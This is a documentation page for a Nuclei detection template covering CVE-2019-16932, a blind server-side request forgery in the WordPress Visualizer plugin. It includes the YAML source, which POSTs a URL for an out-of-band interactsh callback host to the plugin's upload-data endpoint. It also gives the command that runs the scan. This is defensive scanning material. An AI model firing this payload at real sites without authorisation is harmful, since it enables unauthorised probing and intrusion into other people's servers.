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Visualizer <3.3.1 - Blind Server-Side Request Forgery

ID: CVE-2019-16932

Severity: critical

Author: akincibor

Tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss

Description

Section titled “Description”

Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.

YAML Source

Section titled “YAML Source”
id: CVE-2019-16932


info:
  name: Visualizer <3.3.1 - Blind Server-Side Request Forgery
  author: akincibor
  severity: critical
  description: |
    Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9892
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16932
    - https://wordpress.org/plugins/visualizer/#developers
    - https://wpvulndb.com/vulnerabilities/9892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2019-16932
    cwe-id: CWE-918
    epss-score: 0.37504
    epss-percentile: 0.97194
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'Visualizer'
          - 'Tested up to:'
        condition: and


  - method: POST
    path:
      - "{{BaseURL}}/wp-json/visualizer/v1/upload-data"


    body: '{\"url\":\"http://{{interactsh-url}}\"}'


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: word
        name: http
        part: interactsh_protocol
        words:
          - http


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bb5f8432923681dbbc3b2e067c31bcc317cb4a19b53b65921c538155633e8623022100e598792b3a61e8ec100defd841888f6f966f9313b85077dba150b912163e1269:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16932.yaml"

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